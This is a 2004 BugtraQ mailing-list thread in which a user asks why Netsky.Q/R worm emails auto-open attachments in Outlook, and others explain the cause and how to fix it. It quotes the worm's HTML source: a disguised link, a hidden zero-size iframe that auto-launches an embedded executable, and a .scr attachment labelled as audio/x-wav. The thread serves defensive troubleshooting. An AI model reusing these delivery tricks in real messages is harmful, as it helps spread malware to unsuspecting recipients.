Netsky.R, auto execute w/ IE6 ?

[BugtraQ]

Hello all,

If this is something obvious that I have overlooked I apologize in
advance....

I have received several emails (W2K, Outlook 2000) that appear to be
Netsky.Q or Netsky.R. When opened these emails launch the attachment
automatically. In my case, the .pif file has already been removed by my
email server, so the text file that has replaced the virus carrying .pif is
launched by notepad.

Still, this is rather disturbing to me, since AFAIK this is not supposed to
happen.

According to this:
http://www.f-secure.com/v-descs/netsky_q.shtml

Netsky uses an old IE / Outlook MIME type vulnerability to auto launch the
executable:
http://www.microsoft.com/technet/security/bulletin/MS01-020.mspx

This vulnerability, according to the article, only affects IE5, whereas I am
using IE6 SP1 + patches.

Just to be sure, I did a windows update for all the latest security patches.
Even after this, Outlook still opens the attached file on viewing the email.

Is this new or have I missed something? I can post the message source if
anyone is interested.

Thanks,
Mike Sassaman

[BugtraQ]

Thanks Jim, and all who replied. Updating MS Office w/ latest patches
solved the problem. It appears it was the iframe issue you mentioned.

Here is the message source for those who asked:
-----------------------------------------------------------------
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>

<META content=3D"MSHTML 5.00.2920.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D********><br>Mail Delivery - This mail couldn't be
displayed<br><br>------------- failed message
-------------<br>?2a$dmd-ekH-U?3C)7>JA!p|jxvM>g;=C3=B6OigLW*8hiE<br>G1!K=
&o*(y=C3=9FKAL
#s7sMJwAmS2105NtW3%efpG7?$V)4(vf#><br>jHtC8HWc4VfUgtU2l55aWMD.PJK7.YD8b=C3=
=A4:)pa
cn|$qhz<br>V=C3=BC8s=C3=9FZmQV4goigoLHcu$w%1hxo|ACKw0B8&=C3=9FOv=C3=BCma=
,=C3=B6<br>V&;N>1:G<br><br>Me
ssage has been sent as a binary attachment.<br>

Or you can view the message at:<br><br>
<a href=3Dcid:121401Mfdab4$3f3dL780$75387018@57W81fa7 0Re height=3D0
width=3D0>www.targetdomain.com/inmail/webmaster/mread.php?sessionid-2030=
2</a>
<iframe
src=3Dcid:121401Mfdab4$3f3dL780$75387018@57W81fa70 Re height=3D0
width=3D0></iframe>=20
<DIV>&nbsp;</DIV></BODY></HTML>
------------------------------------------------------------------

-----Original Message-----
From: James C Slora Jr [mailto:Jim.Slora@phra.com]
Sent: Friday, April 02, 2004 2:30 PM
To: 'BugtraQ'; bugtraq@securityfocus.com
Subject: RE: Netsky.R, auto execute w/ IE6 ?


> I have received several emails (W2K, Outlook 2000)=20
> that appear to be Netsky.Q or Netsky.R. When=20
> opened these emails launch the attachment automatically.

> Just to be sure, I did a windows update for all the=20
> latest security patches. Even after this, Outlook=20
> still opens the attached file on viewing the email.

The MIME vulnerability should not affect you given the configuration =
you
said you have.=20

Netsky-Q also uses an iframe to try to autolaunch, though - that is =
probably
what you are seeing. Your security settings in Outlook are probably not =
set
to protect against iframe launches. Make sure your mail client is =
running in
the Restricted Sites security zone (Tools>Options>Security>Zone =
Settings),
and that the "Launching Programs and Files in an Iframe" right is set =
to
"disabled" within that zone.

Netsky.Q uses the following methods to try to execute the hostile
attachment:

***** The social engineering setup:

<BODY bgColor=3D3D********>If the message will not displayed =
automatically,<br>
follow the link to read the delivered message.<br><br>
Received message is available at:<br>

A clickable link looks like it points at hotjobs but actually points to
embedded executable:

<a href=3D3Dcid:031401Mfdab4$3f3dL780$73387018@57W81f a70Re height=3D3D0
width=3D3D0>www.hotjobs.com/inbox/serviceupdate/read.php?sessionid-4524<=
/a>

**** An I-Frame tries to auto-execute the embedded executable:
Prevent this by running the mail client within the Restricted Sites
security zone, and by ensuring "Launching Programs and Files in an =
Iframe"
is disabled within that zone.

<iframe
src=3D3Dcid:031401Mfdab4$3f3dL780$73387018@57W81fa 70Re height=3D3D0
width=3D3D0></iframe>=20
<DIV>&nbsp;</DIV></BODY></HTML>


**** And finally the MIME type vulnerability tries to auto-execute the
embedded executable. This exploit should be stopped by IE 6 or by =
MS01-020.
Your computer probably does not try to execute from this.

------=3D_NextPart_001_001C_01C0CA80.6B015D10--

------=3D_NextPart_000_001B_01C0CA80.6B015D10
Content-Type: audio/x-wav;
name=3D"message.scr"
Content-Transfer-Encoding: base64
Content-ID:<031401Mfdab4$3f3dL780$73387018@57W81fa70Re>

In-Reply-To: <7FD2F95D5721174389F954C1BDC86739815186@altair.stcs ervices.com>

You would think windows update would keep MS Office up to date but it does not. Run office update here http://office.microsoft.com/ click the check for update pic upper right. You will need to install sr1, sr3 and more patches. Have your office cd hand
y to install these. Since you are doing the work I would also recommend running MSBSA v1.2 available here: http://www.microsoft.com/technet/security/tools/mbsahome.mspx It will check settings and make sure patches applied.